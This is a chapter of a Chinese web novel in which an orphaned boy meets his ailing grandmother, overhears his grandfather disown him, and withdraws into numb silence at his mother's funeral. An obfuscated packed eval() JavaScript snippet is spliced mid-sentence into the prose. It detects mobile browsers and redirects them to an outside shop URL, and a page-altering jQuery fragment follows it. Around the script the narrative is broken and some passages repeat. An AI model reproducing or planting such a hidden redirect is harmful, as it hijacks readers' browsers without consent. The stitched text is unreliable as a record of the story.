默认冷灰
24号文字
方正启体

21. 第 21 章

作者:紫铜仙本书字数:K更新时间:
    “喂,王主任?”


    “乔雪,你妈下午突然犯了心绞痛,现在还在抢救室观察,你快来!”对方略带急躁。


    乔雪眉头皱起,喉咙里只挤出一句:“我马上到。”


    她挂断电话,抬头看向鹤羽,眼神里全是碎裂的慌乱,却强行把嘴角往上扯:“鹤羽,阿姨要去医院,你外婆……她不太好。她一直念叨想见你,跟我一起去,好不好?”


    鹤羽愣了一下,随即点头,心里不自觉有了期待和忐忑:“好。”


    这是他第一次要去见外婆。 妈妈的妈妈。 除了乔梅,这世上跟他血缘最近的人。 他心脏跳得又快又乱,像揣了一只小鹿,既想扑进那份迟到的亲情里,又怕一脚踩空,摔得粉身碎骨。


    出租车在章市繁华的街道上狂奔,路灯一盏盏往后倒退。鹤羽把额头抵在车窗上,偷偷看乔雪,她正低头回消息,处理着教务上的工作。


    医院比他想象中旧得多。 外墙的瓷砖发黄,掉渣,走廊灯管滋啦滋啦闪,像随时会熄。空气里混着来苏水和饭菜的酸味,病人家属三三两两蹲在墙角,眼神空洞。


    乔雪几乎是小跑着带他上楼,鞋跟在地面敲出急促的回声。拐过两条走廊,来到一扇沉重的深绿色铁门前,乔雪深吸一口气,推门。


    病房里只有一盏昏黄的壁灯。 外婆躺在最靠窗的那张床上,被子盖到下巴,只露出瘦得脱相的脸。 监护仪的曲线忽高忽低,滴滴声像催命的鼓点。


    护士正在记录数据,见她们进来,低声交代:“病人刚才心率失常了一次,已经推了药,现在暂时稳住了。但情绪必须绝对平静,如果有异常赶紧摁铃。”


    乔雪点头,声音哑得不像自己的:“谢谢,我知道了。”


    她牵着鹤羽,一步一步走到床边。


    外婆的眼睛闭着,眼皮薄得能看见底下青紫的血管。鹤羽屏住呼吸,怕自己呼出的气都会把她吹碎。


    就在这时,外婆的睫毛颤了颤,慢慢睁开眼。


    那双眼浑浊,却在对上鹤羽的一瞬间,轰然炸开光。


    “……鹤、鹤羽?” 她声音细若游丝,带着浓重的气音,却固执地要把身体撑起来。


    乔雪赶紧去扶,却被外婆一把推开。 她伸出那只没扎针的手,枯瘦得只剩皮包骨,却抖着朝鹤羽张开。


    鹤羽第一眼看见的,是外婆的头发。


    全白了,像雪化在发根,又像一把碎银撒在枕头上。


    她整个人缩在被子里,瘦得几乎只剩一把骨头,脸颊塌陷,皮肤薄得能看见底下青紫的血管。


    可当她听见门响、艰难地转过头来时,那双眼睛却一下子亮了。


    那瞬间,鹤羽突然明白妈妈当年为什么说“外婆的眼睛跟你长得一模一样”。


    那是一片很深的湖,湖面结着冰,可冰底下全是热烈滚烫的水。


    “……鹤羽?”


    外婆的声音沙哑得不像话,像很久没喝水的人,可尾音却不受控制地往上扬,带着颤。


    乔雪刚想开口,外婆已经撑着床沿要坐起来,手背上扎着的留置针被扯得鲜血倒流。


    乔雪慌忙去按,她却固执地摇头,眼泪先一步掉下来,砸在被单上,晕开深色的圆。


    “让我看看……让我看看孩子……”


    她伸出那只没打针的手,抖得厉害,指尖全是老人斑,却固执地朝鹤羽张开。


    鹤羽的鼻子瞬间酸得发疼。


    他快步走过去,在床边半跪下来,把自己的手放进外婆干枯的掌心。


    外婆的手冰凉,却立刻把他的手握得紧紧的。


    “长高了……跟照片里又不一样了……”


    外婆的眼泪一颗颗往下掉,“眼睛像我家梅梅……鼻子又像你爸……哎哟,这嘴,这嘴怎么这么像我年轻时候……”


    她一边哭一边笑,另一只手颤巍巍地去摸鹤羽的头发、脸颊、肩膀,像要把这些年错过的每一寸都摸回来。


    鹤羽低着头,眼泪啪嗒啪嗒砸在外婆的手背上,烫得外婆一个哆嗦。


    “外婆……我来看您了。”


    他声音发抖,却努力让每个字都清晰,“对不起……我来晚了。”


    外婆摇头,摇头摇得留置针的胶带都松了。


    “不晚什么……你能来,外婆就知足了……”


    外婆却像被注入了什么魔力,精神头一下子回来了,拉着鹤羽的手不肯松开。


    外婆我可以经常来看你吗?


    当然可以,我的乖外孙能天天来就好了。


    林鹤羽的心久违的升腾出一丝幸福的感觉,这种感觉是对自己即将有家了的归属感。


    照顾外婆的这段时间,鹤羽像个小大人一样,帮着倒水、递药,努力让每一次动作都轻柔,生怕惊扰了这个素未谋面的亲人。外婆的眼睛总跟着他转,嘴角偶尔会弯起一丝笑意,却带着浓重的疲惫。雪姨中途出去了,说是去办点事,病房里只剩祖孙俩。外婆趁机从枕头底下摸出一沓皱巴巴的钞票,塞到鹤羽手里,声音慈爱:“孩子,拿着,买点吃的……外婆没啥好给你的。”


    鹤羽摇摇头,把钱推回去,手指冰凉得像冬天的树枝:“外婆,我不要……我有钱。”他声音软软的,带着点讨好的意味,心里却暖得像融化的糖——这是他第一次感受到这种迟到的、血脉相连的疼爱。


    日落西山,橘红的余晖从窗帘缝里漏进来,把病房镀成一片暖金。鹤羽靠在床边椅子上,望着外婆浅浅的呼吸,脑子里乱糟糟的。外公还没来,他有点期待,又有点怕。雪姨说过,外公脾气倔,万一不认他呢?


    傍晚的医院走廊被消毒水味浸透,灯光惨白,像一层薄薄的霜。外婆休息了,林鹤羽原本坐在外婆病房外的长椅上等乔雪回来,手里攥着外婆偷偷塞给他的两张百元钞票——他没敢收,又不敢放回去,只能捏得皱巴巴的。病房门虚掩着,里面传来外婆低低的、几乎带着哭腔的声音。他本想推门,却在门缝前停住了。


    “……当年我和你见到那林强第一眼,就知道他软弱。他连正眼看我们都不敢,不知道是心虚还是不好意思。一个男人怎么能不结婚就让女人给他生孩子?我们都劝梅梅想想,可她就是铁了心。你把她关起来,她过几天就跑了,从此杳无音讯。这几年我每天梦到她,梦到她哭,说过得不幸福。我安慰自己那是梦,现实跟梦相反,阿梅其实在偷偷幸福着……哎。”


    乔路明的声音从里面传出来,冷而硬,像一块无懈可击的盾牌。


    “当年她选了那个烂赌鬼,抛下我们全家。现在呢?她死了,林强进去了,留下这么个拖油瓶。你想让我认?门都没有!”


    外婆的声音抖得厉害:“可鹤羽是无辜的!他是我们的血脉!”


    “血脉?那林强的血脉!当年我和你见到他,就知道这人不成器。梅梅是研究员,多好的前途,为他毁了。我们劝她分开,她不听。现在这孩子来投奔?想都别想!如果真到了那地步,雪儿照顾他去。我不管。”乔路明的声音忽然拔高,又迅速压低,像怕被别人听见,“当年我就说过,谁敢把那野种带回来,我就当谁死了。你要是不怕,我也当你死了。”


    外婆喘得更急:“雪儿说最近有人跟踪她,可能黄世仁那畜生找上门了。她报警了,警察不管。她担心鹤羽跟着她有危险……路明,你就不能心软一次?”


    乔路明顿了顿,声音里多了一丝犹豫,却很快被倔强压下:“那更不能留!我们家这些年被黄世仁折腾够了。梅梅选了林强,就该自己担后果。这孩子,我不认。”


    争吵声戛然而止,只剩外婆低低的抽泣。鹤羽的脑子嗡嗡作响,像被锤子砸过。他滑坐在地上,双手抱膝,眼睛干涩得发疼,却一滴泪都没掉。


    那一刻,他的世界崩塌了。鹤羽站在门外,手里的钞票已经被汗水浸透。


    那一刻,有什么东西在身体里“咔嚓”一声断了,干脆、利落,再也接不回去。


    他原本以为,只要自己再乖一点,再懂事一点,再把头低得更低一点,就能换来一点点容身之处。可原来不是这样的。原来有些拒绝,是不需要理由的,连“讨厌”都不值得,连一个眼神都吝啬给。


    他慢慢松开手,两张钞票飘到地上,像两片枯叶。他没有去捡。


    鹤羽转身,一步一步往走廊尽头走。脚步很轻,轻得像猫,却又沉得像拖着铁链。他经过护士站,经过哭闹的病人,经过推着尸体车的值班工,没有人看他一眼。他也不再抬头看任何人。


    以前他总把眼睫低垂,怕别人看见他眼里的乞求。现在他依旧低着眼睫,却不再是怕,而是懒得再看这个世界了。那里面没有他的位置,连缝隙都没有。


    乔雪找到他的时候,他正坐在医院后门的水泥台阶上,天已经完全黑了。晚风卷着落叶扫过他脚背,他一动不动,像一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053396|194848||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    截木头。


    “鹤羽!”乔雪气喘吁吁地跑过来,蹲在他面前,“你跑哪儿去了?我找了半天!”


    鹤羽抬起头。那双总是湿漉漉、总是带着小心翼翼讨好的眼睛,此刻干干净净,像被水洗过的黑曜石,没有恐惧,没有委屈,没有期待,什么都没有。


    乔雪心里猛地一沉。她见过太多孩子的眼睛,哭的、笑的、惊恐的、麻木的,可从没见过这样……空的。


    “鹤羽?”她试探着喊他。


    他看着她,过了很久,才缓缓开口,声音轻得像尘埃:“小雪阿姨,我能去参加我妈妈的葬礼吗?”


    乔雪的脸色瞬间白了。


    鹤羽没有等她的回答继续说,语调平得像一条笔直的线:“结束了我就回茨城县住校。我能照顾好自己。”


    他顿了顿,嘴角轻轻扯了一下,像在笑,又不像。


    我以前总觉得自己活着是给别人添麻烦,所以拼命想让自己变得有用一点,不吵不闹不哭不闹……可原来不是的。


    原来我只是不配活着。我生来就不是被祝福的,甚至是一段虐缘的延续,最在乎我的人,似乎也快要不见了,那个家,好像从来就不属于我,我只是一个野种而已。


    他没把话说出来,但乔雪仿佛听见了。她伸手想抱他,却被鹤羽轻轻避开了。那动作很轻,很慢,却带着一种不容置疑的决绝。


    夜色吞没了他的背影,像吞没一粒尘埃。


    从那天起,林鹤羽再也没对任何人说过一句多余的话。


    他变得极安静,安静得像不存在。吃饭、走路、睡觉、发呆,都不发出一点声音。别人跟他说话,他会点头或者摇头,不开口。


    他不再讨好,不再害怕,也不再期待。


    那颗曾经柔软、敏感、总是受伤却仍旧渴望被爱的心,在听见外公那句“野种”的时候,彻底结了冰。


    冰层很厚,很硬,很冷,却再也不会碎了。眼泪似乎也从那时起,再也没有了,因为那是被爱、被在乎的特权。


    鹤羽不记得自己是怎么从章市回到茨城县的。火车窗外,田野像被水晕开的旧照片,一片片掠过,他却什么也没看进去。那些夜晚更是一团黑,他只记得自己蜷在老房子床上,盯着天花板的裂纹,一夜一夜不合眼。母亲走了,带走了他最后一点温度。


    下葬那天,章市的天灰蒙蒙的。


    公墓在山坡上,风很大。


    鹤羽没走近,他站在百米外的松树下,隔着一条刚修的柏油路,远远地看着那块小小的墓穴。


    人群围成一圈,黑压压的伞,像一群乌鸦停在墓碑上。


    墓地里挤满了人,哭声、骂声、蝉声搅成一片,像要把整个夏天撕碎。雪姨哭到晕厥,外婆用手背狠狠抹脸,却越抹越红。


    陌生面孔里有愤怒的,有人指着墓碑骂“林家那王八蛋害了我们梅梅”;有人哭得撕心裂肺,哭声被风吹得支离破碎,飘到鹤羽耳边,变成钝钝的嗡鸣。


    他一动不动地站着,骨头里那股冷从脚底往上爬,爬到喉咙,爬到眼眶,却爬不出眼泪。


    他看着母亲的棺木一点点沉进土里,每一铲土落下,都像直接砸在他心口。最后一铲结束时,他听见自己胸腔里有什么东西“喀啦”一声断了。


    鹤羽的嘴唇动了动,声音轻得只有风能听见:


    “妈妈,回家吧。”


    人群里有人回头看他,眼神带着审问:你是谁?你凭什么站那么远?


    他把帽檐压得极低,把整张脸藏进阴影里。


    葬礼散场时,天开始下雨。


    人群撑伞往山下走,黑色的河流漫过山径。


    一个穿旧呢大衣的大妈拦住他。她头发花白,脸上有常年风吹的裂纹,眼睛却亮得吓人。她上下打量他:“你是乔梅的孩子吧?长得真像她,尤其是这双眼睛,一看就知道。”


    鹤羽垂下眼,他听见自己的声音像从很远的地方飘出来,平静得不像自己的:


    “不是,您认错人了。我是隔壁场子的,走错了。”


    大妈愣住,张了张嘴,还想说什么。鹤羽已经侧身走过她,脚步不快,却一步也不回头。风卷着他的衣角,像要把他从这个世界整个卷走。


    他穿过人群,穿过那些哭声、骂声、叹息声,像穿过一场再与他无关的暴风雨。


    母亲被埋进了土里,而他,把自己埋进了更深的土地里。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)